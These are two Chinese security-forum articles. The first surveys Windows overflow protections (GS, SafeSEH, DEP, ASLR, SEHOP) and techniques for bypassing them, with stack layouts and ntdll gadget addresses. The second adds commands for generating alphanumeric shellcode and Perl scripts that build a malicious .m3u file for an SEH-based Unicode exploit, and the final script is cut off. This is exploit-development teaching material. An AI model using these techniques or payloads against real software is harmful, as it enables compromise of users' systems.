• 标题:windows溢出保护原理与绕过方法概览
    作者:riusksk(泉哥)
    主页:http://riusksk.blogbus.com
    出处:http://bbs.pediy.com/showthread.php?p=879124#post879124 
    本文已发表于《黑客防线》


    前言
    从20世纪80年代开始,在国外就有人开始讨论关于溢出的攻击方式。但是在当时并没有引起人们的注意,直至后来经一些研究人员的披露后,特别是著名黑客杂 志Phrack上面关于溢出的经典文章,引领许多人步入溢出研究的行列,从此关于缓冲区溢出的问题才为人们所重视。随着溢出研究的深入,网上开始出现很多 关于溢出攻击教程,揭露了许多溢出利用技术,特别是经典的call/jmp esp,借此溢出攻击案例层出不穷。这也引起了微软的重视,他们在 windows系统及VC++编译器上加入了各种溢出保护机制,以试图阻止这类攻击,可惜每次公布溢出保护机制之后,不久就有人公布绕过方法。MS每次都 称某保护机制将成为溢出利用的末日,可惜每次都被终结掉。既而,黑客与微软之间的溢出斗争一直持续着。更多关于windows溢出的历史,可参见由 Abysssec安全组织编写的文章 《Past,Present,Future of Windows Exploitation》(http://www.abysssec.com /blog/2010/05/past-present-future-of -windows-exploitation/)。在本篇文章中主要揭露了 windows平台上的各种溢出保护机制原理以及绕过方法,具体内容参见下文。

    一、GS编译选项

    原理:通过VC++编译器在函数前后添加额外的处理代码,前部分用于由伪随机数生成的cookie并放入.data节段,当本地变量初始化,就会向栈中插入cookie,它位于局部变量和返回地址之间:

        ┏━━━━━━━━┓内存低地址
        ┃   局部变量     ┃▲
        ┣━━━━━━━━┫┃
        ┃security_cookie ┃┃
        ┣━━━━━━━━┫┃栈
        ┃  入栈寄存器    ┃┃生
        ┣━━━━━━━━┫┃长                       
        ┃     SEH节点    ┃┃方
        ┣━━━━━━━━┫┃向
        ┃    返回地址    ┃┃
        ┣━━━━━━━━┫┃
        ┃    函数参数    ┃┃
        ┗━━━━━━━━┛内存高地址

    经GS编译后栈中局部变量空间分配情况:

    sub   esp,24h
    mov   eax,dword ptr [___security_cookie (408040h)]
    xor   eax,dword ptr [esp+24h]
    mov   dword ptr [esp+20h],eax

    在函数尾部的额外代码用于在函数返回时,调用security_check_cookie()函数,以判断cookie是否被更改过,当函数返回时的情况如下:

    mov   ecx,dword ptr [esp+20h]
    xor   ecx,dword ptr [esp+24h]
    add   esp,24h
    jmp   __security_check_cookie (4010B2h)

    在缓冲区溢出利用时,如果将恶意代码从局部变量覆盖到返回地址,那么自然就会覆写cookie,当检测到与原始cookie不同时(也就是比较上面408040h与4010B2h两处cookie值的比较),就会触发异常,最后终止进程。

    绕过方法:

    1.猜测/计算cookie
    Reducing the Effective Entropy of GS Cookies:http://www.uninformed.org/?v=7&a=2&t=html
    至从覆盖SEH的方法出现后,这种方法目前已基本不用了,它没有后面的方法来得简便。

    2.覆盖SEH
    由于当security_check_cookie()函数检测到cookie被更改后,会检查是否安装了安全处理例程,也就是SEH节点中保存的指针, 如果没有,那么由系统的异常处理器接管,因此我们可以通过(pop pop ret)覆盖SEH来达到溢出的目的。但对于受SafeSEH保护的模块,就 可能会导致exploit失效,关于它的绕过在后续部分再述。
    辅助工具:OD插件safeSEH、pattern_create、pattern_offset、msfpescan、memdump

    3.覆盖虚表指针
    堆栈布局:[局部变量][cookie][入栈寄存器][返回地址][参数][虚表指针]
    当把虚表指针覆盖后,由于要执行虚函数得通过虚表指针来搜索,即可借此劫持eip。

    二、SafeSEH

    原理:为了防止SEH节点被攻击者恶意利用,微软在.net编译器中加入/sdeseh编译选项引入SafeSEH技术。编译器在编译时将PE文件所有合 法的异常处理例程的地址解析出来制成一张表,放在PE文件的数据块(LQAJ)一C0N—FIG)中,并使用shareuser内存中的一个随机数加密, 用于匹配检查。如果该PE文件不支持safesEH,则表的地址为0。当PE文件被系统加载后,表中的内容被加密保存到ntdl1.dll模块的某个数据 区。在PE文件运行期间,如果发生异常需要调用异常处理例程,系统会逐个检查该例程在表中是否有记录:如果没有则说明该例程非法,进而不执行该异常例程。

    绕过方法

    利用SafeSEH保护模块之外的地址
    对于目前的大部分windows操作系统,其系统模块都受SafeSEH保护,可以选用未开启SafeSEH保护的模块来利用,比如漏洞软件本身自带的 dll文件,这个可以借助OD插件SafeSEH来查看进程中各模块是否开启SafeSEH保护。除此之外,也可通过直接覆盖返回地址 (jmp/call esp)来利用。另一种方法,如果esp +8 指向EXCEPTION_REGISTRATION 结构,那么你仍然可以寻找一个 pop/pop/ret指令组合(在加载模块的地址范围之外的空间),也可以正常工作。但如果你在程序的加载模块中找不到pop/pop/ret 指令, 你可以观察下esp/ebp,查看下这些寄存器距离nseh 的偏移,接下来就是查找这样的指令:

    call dword ptr[esp+nn] / jmp dword ptr[esp+nn] 
    call dword ptr[ebp+nn] / jmp dword ptr[ebp+nn] 
    call dword ptr[ebp-nn] / jmp dword ptr[ebp-nn]
    (其中的nn 就是寄存器的值到nseh 的偏移,偏移nn可能是: esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)。

    如果遇到以上指令是以NULL字节结尾的,可将shellcode放置在SEH之前:
    • 在nseh 上放置向后的跳转指令(跳转7 字节:jmp 0xfffffff9);
    • 向后跳转足够长的地址以存放shellcode,并借此执行至shellcode;
    • 把shellcode 放在用于覆盖异常处理结构的指令地址之前。

    三、DEP

    原理:数据执行保护 (DEP) 是一套软硬件技术,能够在内存上执行额外检查以防止在不可运行的内存区域上执行代码。 在 Microsoft Windows XP Service Pack 2、 Microsoft Windows Server 2003 Service Pack 1 、 Microsoft Windows XP Tablet PC Edition 2005 、 Microsoft Windows Vista 和 windows 7 中,由硬件和软件一起强制实施 DEP。DEP 有两种模式,如果CPU 支 持内存页NX 属性, 就是硬件支持的DEP。只有当处理器/系统支持NX/XD位(禁止执行)时,windows才能拥有硬件DEP,否则只能支持软件 DEP,相当于只有SafeSEH保护。

    绕过方法:

    1.ret2lib
    其思路为:将返回地址指向lib库中的代码,而不直接跳转到shellcode 去执行,进而实现恶意代码的运行。可以在库中找到一段执行系统命令的代 码,比如system()函数,用它的地址覆盖返回地址,此时即使NX/XD 禁止在堆栈上执行代码,但库中的代码依然是可以执行的。函数 system()可通过运行环境来执行其它程序,例如启动Shell等等。另外,还可以通过VirtualProtect函数来修改恶意代码所在内存页面 的执行权限,然后再将控制转移到恶意代码,其堆栈布局如下所示:
    ┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┓       
    ┃                        ┃            恶意代码              ┃内存高地址
    ┃                        ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃        lpflOldProtect            ┃┃
    ┃                        ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃          flNewProtect            ┃┃栈
    ┃       调用参数         ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃             dwSize               ┃┃生
    ┃                        ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃            lpAddress             ┃┃长
    ┃                        ┣━━━━━━━━━━━━━━━━━┫┃
    ┃                        ┃      恶意代码的入口地址          ┃┃方
    ┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
    ┃      返回地址          ┃    VirtualProtect函数地址        ┃┃向
    ┣━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━┫┃
    ┃ EBP上层函数堆栈基址    ┃                                  ┃┃
    ┣━━━━━━━━━━━━┫                                  ┃┃
    ┃ 异常例程入口地址(若有 ┃     填充数据的覆盖区域          ┃┃
    ┃设置的话,比如try…catch)┃       (AAAAAAAA……)           ┃┃
    ┣━━━━━━━━━━━━┫                                  ┃▼
    ┃      局部变量          ┃                                  ┃内存低地址
    ┗━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━┛
    更多信息可参考资料:http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf

    2.利用TEB突破DEP
    在之前的《黑客防线》中有篇文章《SP2下利用TEB执行ShellCode》,有兴趣的读者可以翻看黑防出版的《缓冲区溢出攻击与防范专辑》,上面有这 篇文章。该作者在文中提到一种利用TEB(线程环境块)来突破DEP的方法,不过它受系统版本限制,只能在XP sp2及其以下版本的windows系统 上使用,因为更高版本的系统,其TEB地址是不固定的,每次都是动态生成的。该方法的具体实现方法如下:
    (1)将返回地址覆盖成字符串复制函数的地址,比如lstrcpy,memcpy等等;
    (2)在返回地址之后用目标内存地址和shellcode地址覆盖,当执行复制操作时,就会将shellcode复制到目标内存地址,该目标内存地址位于TEB偏移0xC00的地方,它有520字节缓存用于ANSI-to-Unicode函数的转换;
    (3)复制操作结束后返回到shellcode地址并执行它。
    此时其堆栈布局如下:
    【shellcode】【save ebp】【lstrcpy】【TEB缓存地址,用于复制结束后返回到shellcode】【TEB缓存地址】【ShellCode地址】

    3.关闭DEP
    关于此方法最原始的资料应该是黑客杂志《uninformed》上的文章《Bypassing Windows Hardware- enforced Data Execution Prevention》(http://www.uninformed.org/?v=2& a=4),另外也可以看下本人之前翻译的《突破win2003 sp2中基于硬件的DEP》(http://bbs.pediy.com /showthread.php?t=99045),此方法的主要原理就是利用NtSetInformationProcess()函数来设置 KPROCESS 结构中的相关标志位,进而关闭DEP,KPROCESS结构中相关标志位情况如下:

    0:000> dt nt!_KPROCESS -r
    ntdll!_KPROCESS
    . . .
    +0x06b Flags       : _KEXECUTE_OPTIONS
      +0x000 ExecuteDisable     : Pos 0, 1 Bit
      +0x000 ExecuteEnable     : Pos 1, 1 Bit
      +0x000 DisableThunkEmulation   : Pos 2, 1 Bit
      +0x000 Permanent     : Pos 3, 1 Bit
      +0x000 ExecuteDispatchEnable   : Pos 4, 1 Bit
      +0x000 ImageDispatchEnable   : Pos 5, 1 Bit
      +0x000 Spare       : Pos 6, 2 Bits
      
    当DEP 被启用时,ExecuteDisable 被置位,当DEP 被禁用,ExecuteEnable 被置位,当Permanent 标志置位时表示这些设置是最终设置,不可更改。代码实现:

    ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
    NtSetInformationProcess(
      NtCurrentProcess(),   // ProcessHandle = -1
      ProcessExecuteFlags,   // ProcessInformationClass = 0x22(ProcessExecuteFlags)
      &ExecuteFlags,     // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
      sizeof(ExecuteFlags));   // ProcessInformationLength = 0x4
        
    具体实现思路(以我电脑上VirtualBox虚拟机下的xp sp3为例):
    1.将al设置为1,比如指令mov al,1 / ret,然后用该指令地址覆盖返回地址:

    0:000> lmm ntdll
    start    end        module name
    7c920000 7c9b3000   ntdll      (pdb symbols)          c:\symbollocal\ntdll.pdb\1751003260CA42598C0FB326585000ED2\ntdll.pdb
    0:000> s 7c920000 l 93000 b0 01 c2 04
    7c9718ea  b0 01 c2 04 00 90 90 90-90 90 8b ff 55 8b ec 56  ............U..V
    0:000> u 7c9718ea
    ntdll!NtdllOkayToLockRoutine:
    7c9718ea b001            mov     al,1
    7c9718ec c20400          ret     4

    由于上面的ret 4,因此要再向栈中填充4字节(比如0xffffffff)以抵消多弹出的4字节,如果选择的指令刚好是ret则无须再多填充4字节。

    2.跳转到ntdll!LdrpCheckNXCompatibility中的部分代码(从cmp al,1 开始,可通过windbg下的命令 uf ntdll!LdrpCheckNXCompatibility来查看其反汇编代码),比如以下地址就需要用0x7c93cd24来覆写堆栈上的第 二个地址:

    ntdll!LdrpCheckNXCompatibility+0x13:
    7c93cd24 3c01            cmp     al,1
    7c93cd26 6a02            push    2
    7c93cd28 5e              pop     esi
    7c93cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e)  ; 之前已将al置1,故此处实现跳转

    3.上面跳转后来到这里:

    0:000> u 7c95f70e
    ntdll!LdrpCheckNXCompatibility+0x1a:
    7c95f70e 8975fc          mov     dword ptr [ebp-4],esi  ; [ebp-0x4]= esi = 2
    7c95f711 e919d6fdff      jmp     ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f)

    4.上面跳转后来到:

    0:000> u 7c93cd2f
    ntdll!LdrpCheckNXCompatibility+0x1d:
    7c93cd2f 837dfc00        cmp     dword ptr [ebp-4],0
    7c93cd33 0f85f89a0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ; 不相等再次实现跳转

    5.上面跳转后来到:

    0:000> u 7c956831
    ntdll!LdrpCheckNXCompatibility+0x4d:
    7c956831 6a04            push    4     ;ProcessInformationLength = 4
    7c956833 8d45fc          lea     eax,[ebp-4]
    7c956836 50              push    eax      ;ProcessInformation = 2(MEM_EXECUTE_OPTION_ENABLE)
    7c956837 6a22            push    22h       ;ProcessInformationClass = 0x22(ProcessExecuteFlags)
    7c956839 6aff            push    0FFFFFFFFh
    7c95683b e84074fdff      call    ntdll!ZwSetInformationProcess (7c92dc80)
    7c956840 e92865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d)
    7c956845 90              nop

    在这里调用函数ZwSetInformationProcess(),而其参数也刚好达到我们关闭DEP的各项要求.

    6.最后跳转到函数结尾:

    0:000> u 7c93cd6d
    ntdll!LdrpCheckNXCompatibility+0x5c:
    7c93cd6d 5e              pop     esi
    7c93cd6e c9              leave
    7c93cd6f c20400          ret     4

    最后的堆栈布局应为:
    【AAA……】【al=1地址】【0xffffffff】【LdrpCheckNXCompatibility指令地址】【0xffffffff】【"A" x 54】【call/jmp esp】【shellcode】  
      ▲       ▲            ▲                       ▲                      ▲            ▲
    填充数据  返回地址   抵消ret 4的4字节     指令cmp al,0x1 的起始地址      平衡堆栈   调整NX禁用后的堆栈 
     
    如果在禁用NX后,又需要读取esi或ebp,但此时它们又被我们填充的数据覆盖掉了,那么我们可以使用诸如push esp/pop esi/ret或者push esp/pop ebp/ret这样的指令来调整esi和ebp,以使关闭DEP后还能够正常执行。
    辅助工具:ImmDbg pycommand插件(!pvefindaddr depxpsp3  + !findantidep)

    3.利用WPN与ROP技术
    ROP(Return Oriented Programming):连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列。
    WPM(Write Process Memory):利用微软在kernel32.dll中定义的函数比如:WriteProcess Memory函数可将数据写入到指定进程的内存中。但整个内存区域必须是可访问的,否则将操作失败。
    具体实现方法参见我之前翻译的文章《利用WPN与ROP技术绕过DEP》:http://bbs.pediy.com/showthread.php?t=119300

    4.利用SEH 绕过DEP
    启用DEP后,就不能使用pop pop ret地址了,而应采用pop reg/pop reg/pop esp/ret 指令的地址,指令 pop esp 可以改变堆栈指针,ret将执行流转移到nseh 中的地址上(用关闭NX 例程的地址覆盖nseh,用指向pop/pop /pop esp/ret 指令的指针覆盖异常处理器)。
    辅助工具:ImmDbg插件!pvefindaddr

    四、ASLR

    原理:ASLR(地址空间布局随机化)技术的主要功能是通过对系统关键地址的随机化,防止攻击者在堆栈溢出后利用固定的地址定位到恶意代码并加以运行。它主要对以下四类地址进行随机化:
    (1)堆地址的随机化;
    (2)栈基址的随机化;
    (3)PE文件映像基址的随机化;
    (4)PEB(Process Environment Block,进程环境块)地址的随机化。
    它在vista,windows 2008 server,windows7下是默认启用的(IE7除外),非系统镜像也可以通过链接选项 /DYNAMICBASE(Visual Studio 2005 SP1 以上的版本,VS2008 都支持)启用这种保护,也可手动更改已编译库的 dynamicbase 位,使其支持ASLR 技术(把PE 头中的DllCharacteristics 设置成0x40 -可以
    使用工具PE EXPLORER 打开库,查看DllCharacteristics 是否包含0x40 就可以知道是否支持ASLR 技术)。另外,也 可以使用Process Explorer来查看是否开启ASLR。启用ASLR后,即使你原先已经成功构造出exploit,但在系统重启后,你在 exploit中使用的一些固定地址就会被改变,进而导致exploit失效。

    绕过方法:

    1.覆盖部分返回地址
    对比下windows7系统启动前后OD中loaddll.exe的各模块基址,启动前:

    可执行模块
    基址       大小       入口       名称       文件版本          路径
    00400000   00060000   00410070   loaddll                      D:\riusksk\TOOL\Ollydbg\loaddll.exe
    6DDE0000   0008C000   6DDE1FFF   AcLayers   6.1.7600.16385 (  C:\Windows\AppPatch\AcLayers.dll
    710E0000   00012000   710E1200   mpr        6.1.7600.16385 (  C:\Windows\System32\mpr.dll
    71C50000   00051000   71C79834   winspool   6.1.7600.16385 (  C:\Windows\System32\winspool.drv
    747F0000   00017000   747F1C89   userenv    6.1.7600.16385 (  C:\Windows\System32\userenv.dll
    750A0000   0001A000   750A2CCD   sspicli    6.1.7600.16385 (  C:\Windows\System32\sspicli.dll
    750C0000   0004B000   750C2B6C   apphelp    6.1.7600.16385 (  C:\Windows\System32\apphelp.dll
    75190000   0000B000   75191992   profapi    6.1.7600.16385 (  C:\Windows\System32\profapi.dll
    75420000   0004A000   75427A9D   KERNELBA   6.1.7600.16385 (  C:\Windows\system32\KERNELBASE.dll
    75B50000   0000A000   75B5136C   LPK        6.1.7600.16385 (  C:\Windows\system32\LPK.dll
    75B60000   0004E000   75B6EC49   GDI32      6.1.7600.16385 (  C:\Windows\system32\GDI32.dll
    ……

    启动后:

    可执行模块
    基址       大小       入口       名称       文件版本          路径
    00400000   00060000   00410070   loaddll                      D:\riusksk\TOOL\Ollydbg\loaddll.exe
    6F510000   0008C000   6F511FFF   AcLayers   6.1.7600.16385 (  C:\Windows\AppPatch\AcLayers.dll
    715B0000   00012000   715B1200   mpr        6.1.7600.16385 (  C:\Windows\System32\mpr.dll
    72170000   00051000   72199834   winspool   6.1.7600.16385 (  C:\Windows\System32\winspool.drv
    74C70000   00017000   74C71C89   userenv    6.1.7600.16385 (  C:\Windows\System32\userenv.dll
    75520000   0001A000   75522CCD   sspicli    6.1.7600.16385 (  C:\Windows\System32\sspicli.dll
    75540000   0004B000   75542B6C   apphelp    6.1.7600.16385 (  C:\Windows\System32\apphelp.dll
    75610000   0000B000   75611992   profapi    6.1.7600.16385 (  C:\Windows\System32\profapi.dll
    75690000   0004A000   75697A9D   KERNELBA   6.1.7600.16385 (  C:\Windows\system32\KERNELBASE.dll
    759B0000   000CC000   759B168B   msctf      6.1.7600.16385 (  C:\Windows\System32\msctf.dll
    75E60000   000AC000   75E6A472   msvcrt     7.0.7600.16385 (  C:\Windows\system32\msvcrt.dll
    75F10000   0004E000   75F1EC49   GDI32      6.1.7600.16385 (  C:\Windows\system32\GDI32.dll
    ……

    由此可见,各模块基址的高位是随机变化的,而低位是固定不变的,这里loaddll.exe不受ADSL保护,所以其基址没有随机化,如果是 Notepad.exe就有启用ASLR,还有其它经链接选项/DYNAMICBASE编译的程序也会启用ASLR。因此我们可以让填充字符只覆盖到返回 地址的一半,由于小端法机器的缘故,其低位地址在前,因此覆盖到的一半地址刚好处于低位,而返回地址的高位我们让它保持不变,所以我们必须在返回地址之前 的地址范围内(相当于漏洞函数所在的255字节空间地址)查找出一个可跳转到shellcode的指令,比如jmp edx(关键看哪一寄存器指向 shellcode)。除此之外,我们还必须将shellcode放在返回地址之前,不然连返回地址的高位也覆盖掉了,这是不允许的。纵观此法,相当的有 局限性,如果漏洞函数过短,可能就没有我们需要的指令了,这时就得另寻他法了。

    2.利用未启用ASLR的模块地址
    这与之前绕过SafeSEH的方法类似,直接在未受ASLR保护的模块中查找跳转指令的地址来覆盖返回地址或者SEH结构,可以通过 Process Explorer或者ImmDbg命令插件!ASLRdynamicbase或者(!pvefindaddr noaslr):来查看哪 些进程模块启用ASLR保护。

    五、SEHOP

    原理:微软在Microsoft Windows 2008 SP0、Microsoft Windows Vista SP1和 Microsoft Windows 7中加入了另一种新的保护机制 SEHOP(Structured Exception Handling Overwrite Protection),它可作为SEH的扩展,用于检 测SEH是否被覆写。SEHOP的核心特性是用于检测程序栈中的所有SEH结构链表的完整性,特别是对最后一个SHE结构的检测。在最后一个SEH结构中 拥有一个特殊的异常处理函数指针,指向一个位于ntdll中的函数ntdll!FinalExceptHandler()。当我们用 jmp 06 pop pop ret 来覆盖SEH结构后,由于SEH结构链表的完整性遭到破坏,SEHOP就能检测到异常从而阻止shellcode 的运行

    绕过方法:

    伪造SEH链表
    由于SEHOP会检测SEH链表的完整性,那么我们可以通过伪造SEH链表来替换原先的SEH链表,进而达到绕过的目的。具体实现方法:

    (1)查看SEH链表结构,可借助OD实现,然后记住最后一个SEH结构地址,以方便后面的利用;
    (2)用JE(0x74) + 最后一个SEH结构的地址(由于地址开头是00,故可省略掉,可由0x74替代,共同实现4字节对齐)去覆盖nexSEH;
    (3)用xor pop pop ret指令地址去覆盖SEH handle,其中的xor指令是用于将ZF置位,使前面的JE = JMP指令,进而实现跳转;
    (4)在这两个SEH结构之前写入一跳转指令(JMP+8),以避免数据段被执行;
    (5)在这两个SEH结构之间全部用NOP填充,如果两者之间还有其它SEH结构的话;
    (6)将shellcode放置在最后一个SEH结构之后,即ntdll!FinalExceptHandler()函数之后。

    此时的堆栈布局如下:
    【NOP…】【JMP 08】【JE XXXXXX】【xor pop pop ret】【NOP…】【JMP 08】【0xFFFFFFFF】【ntdll!FinalExceptHandler】【shellcode】
                            ▲              ▲                                  ▲                   ▲ 
               next SEH(指向0xffffffff)  SEH Handle                          next SEH           SEH Handle

    更多信息可参见我之前翻译的《绕过SEHOP安全机制》:http://bbs.pediy.com/showthread.php?t=104707

    结论
    本文简单地叙述了windows平台上的各类溢出保护机制及其绕过方法,但若结合实例分析的话,没有几万字是不可能完成的,因此这里概览一番,读者若想获 得相关的实例运用的资料,可参考文中提及一些paper,特别是由看雪论坛上dge兄弟翻译的《Exploit编写系列教程6》以及黑客杂志 《Phrack》、《Uninformed》上的相关论文。微软与黑客之间的斗争是永无休止的,我们期待着下一项安全机制的出现……

  • 标题:对《编写unicode exploit》一文的补充
    作者:riusksk(泉哥)
    主页:http://riusksk.blogbus.com
    出处:http://bbs.pediy.com/showthread.php?p=864560#post864560

    《编写Unicode Exploit》原文地址:http://bbs.pediy.com/showthread.php?t=120637

    1.关于unicode shellcode生成的问题

    原本我是用windows平台下的msf,但始终没有成功。后来又改用pentoo系统上的msf还是没有成功,最后按作者的建议使用BT4,可惜依然没有成功。然后我就将msf与alpha2合用,大家可以在BT4 final上使用以下命令来生成:

    Code:
    wget http://packetstormsecurity.org/shellcode/alpha2.tar.gz
    tar xvzf alpha2.tar.gz
    cd alpha2
    gcc alpha2.c -o alpha2
    msfpayload windows/exec cmd=calc r | ./alpha2 eax --unicode -t perl

    2.关于ret(c3>7f) 的问题

    原作者是采用xp sp3 en版本的系统,由于unicode codepage / language/regional settings 的不同,在原作者的系统中,ret(c3)并不会被转换,但是在我的xp sp3 中文版上,它会被转换成 88 80,自然也就无法实现ret指令,如果像原作者那样在exploit中使用ret的话,必然是无法正常运行的。下面是我在自己系统上的测试代码及调试情况:

    Code:
    my $junk = "A" x 270;           # 我个人系统上相对SEH的偏移量
    
    my $nseh = "x61x62";
    
    my $seh = "x15x45" ;
    
    my $preparestuff="D"; #we need the first D
    
    $preparestuff=$preparestuff."x6e"; #nop/align
    
    $preparestuff=$preparestuff."x55"; #push ebp
    
    $preparestuff=$preparestuff."x6e"; #nop/align
    
    $preparestuff=$preparestuff."x58"; #pop eax
    
    $preparestuff=$preparestuff."x6e"; #pop/align
    
    $preparestuff=$preparestuff."x05x14x11"; #add eax,0x11001400
    
    $preparestuff=$preparestuff."x6e"; #pop/align
    
    $preparestuff=$preparestuff."x2dx13x11"; #sub eax,0x11001300
    
    $preparestuff=$preparestuff."x6e"; #pop/align
    
    my $jump = "x50"; #push eax
    
    $jump=$jump."x6d"; #nop/align
    
    $jump=$jump."xc3"; #ret
     问题在这里
    
    my $morestuff="D" x (5000-length($junk.$nseh.$seh.$preparestuff.$jump)); $payload=$junk.$nseh.$seh.$preparestuff.$jump.$morestuff; open(myfile,'>corelantest.m3u'); print myfile $payload; close(myfile);

    Windbg调试器下的情况:

    Code:
    0:005> !exchain
    
    029bfd54: image00400000+50015 (00450015)
    
    Invalid exception stack at 00620061
    
    0:005> d 029bfd54
    
    029bfd54  61 00 62 00 15 00 45 00-44 00 6e 00 55 00 6e 00  a.b…E.D.n.U.n.
    
    029bfd64  58 00 6e 00 05 00 14 00-11 00 6e 00 2d 00 13 00  X.n…….n.-…
    
    029bfd74  11 00 6e 00 50 00 6d 00-88 80
     44 00 44 00 44 00  ..n.P.m…D.D.D.
    
    029bfd84  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
    
    029bfd94  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
    
    029bfda4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
    
    029bfdb4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
    
    029bfdc4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
    
    0:005> t
    
    eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04
    
    eip=029bfd78 esp=029bed2c ebp=029bfd54 iopl=0         nv up ei pl nz na pe cy
    
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
    
    +0x29bfd77:
    
    029bfd78 50              push    eax
    
    0:005> t
    
    eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04
    
    eip=029bfd79 esp=029bed28 ebp=029bfd54 iopl=0         nv up ei pl nz na pe cy
    
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
    
    +0x29bfd78:
    
    029bfd79 006d00          add     byte ptr [ebp],ch          ss:0023:029bfd54=61
    
    0:005> t
    
    eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04
    
    eip=029bfd7c esp=029bed28 ebp=029bfd54 iopl=0         ov up ei ng nz na pe nc
    
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a86
    
    +0x29bfd7b:
    
    029bfd7c 888044004400    mov     byte ptr image00400000+0x40044 (00440044)[eax],al ds:0023:02dffe98=??
    
    
    
    
    
    
    
    
    

    然后我就用70~FF之间的字符去填充缓冲区,从80开始就会被转换成完全不同的两字节,而非直接添加00上去,而70前面几个字符只是为了方便查找才添加上去的,然后看看这些字符有没有被转换成c3的,不过结果令人相当失望。测试情况如下:

    Code:
    0:005> !exchain
    
    029bfd54: image00400000+50015 (00450015)
    
    Invalid exception stack at 00620061
    
    0:005> d 029bfd54
    
    029bfd54  61 00 62 00 15 00 45 00-44 00 6e 00 55 00 6e 00  a.b…E.D.n.U.n.
    
    029bfd64  58 00 6e 00 05 00 14 00-11 00 6e 00 2d 00 13 00  X.n…….n.-…
    
    029bfd74  11 00 6e 00 50 00 6d 00-70 00 71 00 72 00 73 00  ..n.P.m.p.q.r.s.
    
    029bfd84  74 00 75 00 76 00 77 00-78 00 79 00 7a 00 7b 00  t.u.v.w.x.y.z.{.
    
    029bfd94  7c 00 7d 00 7e 00 7f 00-ac 20 97 4e 0e 51 97 53  |.}.~…. .N.Q.S
    
    029bfda4  72 56 9b 58 bd 5a 15 5d-41 5f ad 61 42 64 7c 66  rV.X.Z.]A_.aBd|f
    
    029bfdb4  d9 68 c4 6a 14 6d 6a 6f-5a 71 01 30 e5 ff a6 30  .h.j.mjoZq.0…0
    
    029bfdc4  16 04 06 25 69 e0 27 e1-e5 e1 88 8f 92 70 00 52  …%i.'……p.R
    
    0:005> d
    
    029bfdd4  af 72 2d 8d a3 60 84 9a-77 57 05 8c 9a 5a 4c 72  .r-..`..wW…ZLr
    
    029bfde4  a8 4f 92 58 82 98 c0 81-f2 95 a9 5c c9 91 69 7f  .O.X………i.
    
    029bfdf4  d5 68 dd 4e 2e 57 89 84-d9 54 95 5f 85 6c 50 5f  .h.N.W…T._.lP_
    
    029bfe04  b7 73 9b 6b 71 81 0d 77-73 95 31 80 dd 7b 8a 8c  .s.kq..ws.1..{..
    
    029bfe14  2c 9f eb e2 a9 e3 67 e4-f5 f8
     44 00 44 00 44 00  ,…..g…D.D.D.
    
    029bfe24  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
    
    029bfe34  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
    
    029bfe44  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
    

    在向作者请教后,他建议我“走”到shellcode,也就push eax/ret 这指令省掉,而直接在shellcode前填充 nop,使其直接运行到shellcode。但是如果我们直接用一连串的\x6e来作为nops,明显是不行的,因为它会被转换成 6e 00 6e 00 ,而非00 6e 00,所以我们需要在它之前添加一字节,比如:

    Code:
    \x43\x70\x43\x70
    

     或者

    Code:
    \x43\x6e\x43\x6e
    

    当然你也可直接使用\x70,因为 00 70 相当于如下指令:

    Code:
    029bfd78 7000            jo      +0x29bfd79 (029bfd7a)
    029bfd7a 7000            jo      +0x29bfd7b (029bfd7c)
    029bfd7c 7000            jo      +0x29bfd7d (029bfd7e)
    

    只要这些不会对后面要使用的eax(必须指向shellcode的第一字节,哪怕是shellcode前的nop也不行,我就是犯了这样的错误,弄了好久才搞定)进行修改就可以。最后我用下面这脚本进行测试:

    Code:
    my $junk = "A" x 270;
    my $nseh = "\x61\x62";
    my $seh = "\x15\x45" ;
    
    my $preparestuff="D"; #we need the first D
    $preparestuff=$preparestuff."\x6e"; #nop/align
    $preparestuff=$preparestuff."\x55"; #push ebp
    $preparestuff=$preparestuff."\x6e"; #nop/align
    $preparestuff=$preparestuff."\x58"; #pop eax
    $preparestuff=$preparestuff."\x6e"; #pop/align
    $preparestuff=$preparestuff."\x05\x14\x11"; #add eax,0x11001400
    $preparestuff=$preparestuff."\x6e"; #pop/align
    $preparestuff=$preparestuff."\x2d\x13\x11"; #sub eax,0x11001300
    $preparestuff=$preparestuff."\x6e"; #pop/align
    
